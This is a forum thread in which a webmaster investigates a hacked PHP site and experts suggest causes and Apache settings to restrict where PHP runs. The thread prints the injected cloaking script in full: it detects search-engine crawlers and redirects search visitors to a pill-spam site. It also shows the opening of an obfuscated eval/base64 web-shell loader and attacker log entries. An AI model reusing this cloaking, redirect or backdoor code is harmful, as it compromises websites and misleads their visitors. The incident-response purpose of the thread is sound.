Link to home
Start Free TrialLog in
Avatar of Sivakatirswami
Sivakatirswami

asked on

PHP Insertion Hack on Our Sites

Last night I get an email from our staff who handles email to the web master saying that  directories in our publication folder /public_html/resources/

Were unavailable the web. I went there and the home page seemed fine, but then trying to navigate to any sub-directories failed. we got 404's, look at the error logs I could see a number of other top directories in public_html were also delivering 404's

I logged in and to my dismay discovered a .htaccess fill had been added  to about ten different top level directories

directoryIndex  index.php


and two other files had been added to the folder

hap.php
index.php

which myself and none of my team had put there.

the index.php file was a copy of the index.shtml file which was and has been the *real* home page

the index.php   had at the top of this file a PHP include:

<?php include('/home/himalayan/public_html/art/top.php');?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"

Now, the "top.php" file was this wierd thing related  viagra sales:

<?php
error_reporting(E_ALL);
ini_set('display_errors', "0");

$ip=strtolower($_SERVER['REMOTE_ADDR']);
$agent=$_SERVER['HTTP_USER_AGENT'];
$hostname = gethostbyaddr ($ip);
$ref=strtolower($_SERVER['HTTP_REFERER']);

if (
strpos($agent, 'Googlebot') !== false ||
strpos($agent, 'Slurp') !== false ||
strpos($agent, 'msnbot') !== false ||
strpos($agent, 'msnbot-media') !== false ||
strpos($agent, 'spider') !== false ||
strpos($agent, 'Baiduspider+') !== false ||
strpos($agent, 'Yahoo') !== false ||
strpos($ip, '209.185.108') !== false ||
strpos($ip, '128.2.140') !== false ||
strpos($ip, '209.185.253') !== false ||
strpos($ip, '209.85.238') !== false ||
strpos($ip, '209.85.238.11') !== false ||
strpos($ip, '209.85.238.4') !== false ||
strpos($ip, '216.239.33.96') !== false ||
strpos($ip, '216.239.33.97') !== false ||
[snip   1000 lines exactly the same with different IP's]
strpos($ip, '66.249.84') !== false ||
strpos($ip, '74.6.87') !== false  ||
strpos($ip, '66.249') !== false ||
strpos($hostname,'googlebot')!== false
)
{
$cont=file_get_contents('/home/himalayan/public_html/art/page.shtml');
print $cont;exit();
}

if (strpos($ref, 'google.') !== false || strpos($ref, 'yahoo.') !== false || strpos($ref, 'msn.') !== false || strpos($ref, 'aol.') !== false ||

strpos($ref, 'search') !== false){
if (strpos($ref, 'q=') !== false){
if (strpos($hostname,'googlebot')== false){
if (substr_count($ref,"cialis")>0) {
if (strpos($ref, 'start=56')==false){
$rederict_URL="http://getfastpills.com/cialis_pro.html";
header ("Location: $rederict_URL"); exit(0);}
                  }
}
}
}
?>


I don't think that anyone actually got in via FTP... it's almost like they figured out some vulnerability in one of  our PHP apps and did some kind of insertions

there were about ten other directories in /public_html/ and each had the same thing:  a new .htaccess file with a directoryIndex index.php  and the index.php was a copy of index.shtml with the include at the top which pointed to the "*.php" file with all the Viagra sales redirect stuff attempt.

So, I am removing those files and things are back to normal, but I don't know how to close the hole or even what it was. fortunately the attack seems to have failed at least our users did not end up at "getfastpills.com" but instead they just got a 404.

Presumably the attacker realized this and abandoned his work otherwise he probably would have continued on until *all* top directories on the site were infected.
Avatar of Tolomir
Tolomir
Flag of Germany image

Have you checks to prevent sql injections?

http://blogs.msdn.com/b/brian_swan/archive/2010/03/04/what_2700_s-the-right-way-to-avoid-sql-injection-in-php-scripts_3f00_.aspx

Seems to me like one was able to upload files because he got himself administrator permissions...

Avatar of Sivakatirswami
Sivakatirswami

ASKER

But how has this got anything to do with MySQL?  since the insertions were

/public_html
   /art
     .htaccess        # [set to:] directoryIndex  index.php
      index.php      # a copy of the original home page with an include to "top.php" at the top
      index.shtml    #  (the original home page)
      top.php          # with all the php code and IPs and a final redirect to "getPills.com/cialis.html"

FYI the redirect failed, instead all that users got was a 404.

I changed the mainadmin and FTP password to the site right away with a really strong one.

The point is he made himself admin, then did change the files and permissions.

I'm no php expert, this was just a heads up. Check the database for changes. Also check if there is an update for php available.
ASKER CERTIFIED SOLUTION
Avatar of JayDiablo
JayDiablo
Flag of United States of America image

Link to home
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
Start Free Trial
Jay, Thanks for being clear. I think I was taking it too lightly. and your strong words of wisdom are what I needed to hear. Obviously there is no way for an EE expert to come up with a definitive answer of "how did he get in."  but your points are well taken and I will do the best I can. I can't really shut down this server, so I have to work it out in place.  

I will alert the host "ServePath" that we have been compromised and pay their security analysis team to check the server.
OK I found the exploit... someone else recommended grepping the logs for POST on the date and look for POST's to php scripts.  Bingo:

the hacker some how had deposited two files in an obscure image directory on the 10th  "menu.php" opens with:

PHP
             //Authentication
$login = ""; //Login
$pass = "";  //Pass
$md5_pass = ""; //If no pass then hash
eval(gzinflate(base64_decode('HJ3HkqNQEkU/ZzqCBd4t8V4YAQI2E3jvPV8/1Gw6orsVFLyXefMcFUL5EXf/
[snip]

I see in the logs 360 lines  POSTing to that menu.php script from a Russian server, further analysis show that it was a "black hat SEO" thing : trying to get the search engine to increase ranking of his viagra site:

so then I grepped for "menu.php" and found the point in time where he came onto the server at around 8PM on the 10th... kept working until 2 AM...

It started on the 10th and some strange GET requests I do not understand...and then the POST's start... over 300 of them.

84.243.197.71 - - [10/Feb/2011:13:20:05 -0800] "GET /childrens-courses/images/menu.php HTTP/1.1" 200 6499 "-" "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.62 Version/11.00"
84.243.197.71 - - [10/Feb/2011:13:20:06 -0800] "GET /favicon.ico HTTP/1.1" 200 766 "http://www.mydomain.com/childrens-courses/images/menu.php" "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.62 Version/11.00"
84.243.197.71 - - [10/Feb/2011:13:20:09 -0800] "POST /childrens-courses/images/menu.php HTTP/1.1" 200 6034 "http://www.mydomain.com/childrens-courses/images/menu.php" "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.62 Version/11.00"
84.243.197.71 - - [10/Feb/2011:13:20:16 -0800] "POST /childrens-courses/images/menu.php HTTP/1.1" 200 5189 "http://www.mydomain.com/childrens-courses/images/menu.php" "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.62 Version/11.00"
84.243.197.71 - - [10/Feb/2011:13:20:17 -0800] "GET /css/main_home_pages.css HTTP/1.1" 200 2837 "http://www.mydomain.com/childrens-courses/images/menu.php" "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.62 Version/11.00"
84.243.197.71 - - [10/Feb/2011:13:20:17 -0800] "GET /images/main_page_symbol.gif HTTP/1.1" 200 5365 "http://www.mydomain.com/childrens-courses/images/menu.php" "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.62 Version/11.00"
84.243.197.71 - - [10/Feb/2011:13:20:18 -0800] "GET /images/social-icon-twitter.png HTTP/1.1" 200 1589 "http://www.mydomain.com/childrens-courses/images/menu.php" "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.62 Version/11.00"
84.243.197.71 - - [10/Feb/2011:13:20:18 -0800] "GET /images/social-icon-facebook.png HTTP/1.1" 200 860 "http://www.mydomain.com/childrens-courses/images/menu.php" "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.62 Version/11.00"
84.243.197.71 - - [10/Feb/2011:13:20:18 -0800] "GET /images/social-icon-youtube.png HTTP/1.1" 200 1366 "http://www.mydomain.com/childrens-courses/images/menu.php" "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.62 Version/11.00"
84.243.197.71 - - [10/Feb/2011:13:20:19 -0800] "GET /images/header_flymenu_bg.gif HTTP/1.1" 200 1460 "http://www.mydomain.com/childrens-courses/images/menu.php" "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.62 Version/11.00"
84.243.197.71 - - [10/Feb/2011:13:20:17 -0800] "GET /images/monks-debuhr.jpg HTTP/1.1" 200 36030 "http://www.mydomain.com/childrens-courses/images/menu.php" "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.62 Version/11.00"
84.243.197.71 - - [10/Feb/2011:13:20:17 -0800] "GET /images/gurudeva-bodhinatha.jpg HTTP/1.1" 200 33976 "http://www.mydomain.com/childrens-courses/images/menu.php" "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.62 Version/11.00"
84.243.197.71 - - [10/Feb/2011:13:20:18 -0800] "GET /images/main_pages_bg.jpg HTTP/1.1" 200 54975 "http://www.mydomain.com/childrens-courses/images/menu.php" "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.62 Version/11.00"
84.243.197.71 - - [10/Feb/2011:13:20:19 -0800] "POST /childrens-courses/images/menu.php HTTP/1.1" 200 5311






So this menu.php script isn't something you installed correct?

Any evidence on how that file was inserted?

Did you happen to take note of which user (on your system) created that menu.php file and when?

Do you use fairly common PHP software, like wordpress, phpbb, etc...?  Is it used on the same domain that this menu.php script appeared in?

Any unusual entries in the logs prior to the first appearance of menu.php?
1) correct, I did not install it
2) No evidence on "how"  though menu.php was dated October 2010 (strange)  perhaps he just stumbled on it...and it was there all along since last fall?
3) yes we use WordPress on this machine, that's the only PHP CMS we use on this domain and yes it is running from the same domain in /public_html/blog/  alongside all the directories that were infected.
4) the files were owned by the admin for this site. I'm told that is to be expected if the php ran from the same domain, it would create files as the same owner, because it was "acting" as the owner of all the files.
5) running "last" to view all logins to the server, nothing unusual. SSH: a few as root (me) and two of my trusted team who log in as themselves and then SU...  no one else. FTP users who are "jailed in" to virtual domains...doing transfers for sites they manage, were all known on my team. Ergo, this was a PHP exploit via http some how... dunno how.
6) Yeah the insertion of infected redirection files (.htaccess, and two php files pointing to the viagra sales domain) occured at around 2 am on the 11th. But the access logs have these wierd GET requests for images, that are to be called by the menu.php script.

meanwhile I'm sweeping the machine, all domains with grep as this EVAL statement appears in the php scripts and will be easily uncovered. So, I can clean the server but the vulnerability is still there.

We are not letting users upload images of any kind, so it cannot be the known GIF infected file exploit.

I would like to learn how to configure the serve to prevent execution of PHP from any directory *except* the  /public_html/blog/  directory.  

We will be redoing the whole site soon, using LiveCode server and RevIgniter framework and the Word press installation will be the only place PHP is executed from, so I may as well simply block execution of PHP from *any* other location.  How can i do that?
Is wordpress the only third-party PHP application that runs on this domain?

Is it up-to-date?  Are there unofficial wordpress plugins installed?  Which ones?

All signs seem to point to a vulnerability in the wordpress install, which could be an out-of-date wordpress, or out-of-date/bad wordpress plugin.

Here's a somewhat similar case (though this one was code insertion into WP templates, which I've seen before):  http://dannedelko.com/wordpress/wordpress-injection-attack.html

As for restricting PHP to only be enabled in certain directories or paths...   PHP is enabled by default across the whole server.  Depending on how you installed php, you might have a "php.conf" file in /etc/httpd/conf.d/ that may look like this:

#
# PHP is an HTML-embedded scripting language which attempts to make it
# easy for developers to write dynamically generated webpages.
#

LoadModule php5_module modules/libphp5.so

#
# Cause the PHP interpreter to handle files with a .php extension.
#
AddHandler php5-script .php
AddType text/html .php

#
# Add index.php to the list of files that will be served as directory
# indexes.
#
DirectoryIndex index.php

#
# Uncomment the following line to allow PHP to pretty-print .phps
# files as PHP source code:
#
#AddType application/x-httpd-php-source .phps

Open in new window


or you may just have the uncommented lines in /etc/httpd/httpd.conf (or wherever your HTTP config file is located, the paths I've used here are specific to RHEL/Fedora/CentOS installs).

I've never had to do this, but it should be possible to move the AddHandler and AddType lines out of your general config (comment them out wherever they may be) and then just insert them into the VirtualHost container of the domain that you want PHP to be enabled on (or possibly even in a Directory container within a VirtualHost container for just that path):

For just selected domains:

<VirtualHost *:80>
  ServerName somedomain.com

  AddHandler php5-script .php
  AddType text/html .php
</VirtualHost>

Open in new window


For just a specific directory in a domain:

<VirtualHost *:80>
  ServerName somedomain.com
  
  <Directory /var/www/somedomain.com/httpdocs/blog>
    AddHandler php5-script .php
    AddType text/html .php
  </Directory>
</VirtualHost>

Open in new window


That should disable PHP from executing, however, if a user were to request a PHP file that exists in a directory that doesn't have the Handler/Type defined, Apache will just spit out the contents of the file, which could be a security risk if the PHP file contains any sensitive information, like passwords.

To combat that, you'd have to deny access to PHP files, here's an article that describes the directives to do such a thing:

http://www.ducea.com/2006/07/21/apache-tips-tricks-deny-access-to-certain-file-types/

That should prevent Apache from just spitting out the contents of the PHP file (instead it'll send a Forbidden HTTP status/error message).

Hope this helps. :)
I will check on the WordPress installation and plug ins.

AS for php execution, perhaps I'm not getting you clearly:

Actually I am looking to make it work the other way round

*allow* execution in /public_html/blog/

but not anywhere else.

Actually I am looking to make it work the other way round

*allow* execution in /public_html/blog/

but not anywhere else.

That's what I was describing.

First you have to disable PHP execution across the entire Apache server (comment out the AddType and AddHandlers that currently exist), then you have to selectively *enable* PHP in the domains/paths that you want (by adding the AddType and AddHandler directives where you want PHP to be executed).

As a side effect of disabling PHP execution, Apache will directly output the contents of PHP files that are accessed (except where you've enabled PHP execution), so you need to deny access to those files (except where you want PHP execution to be enabled).

I'm not sure if that helps clear it up at all, let me know and I can try to be more specific.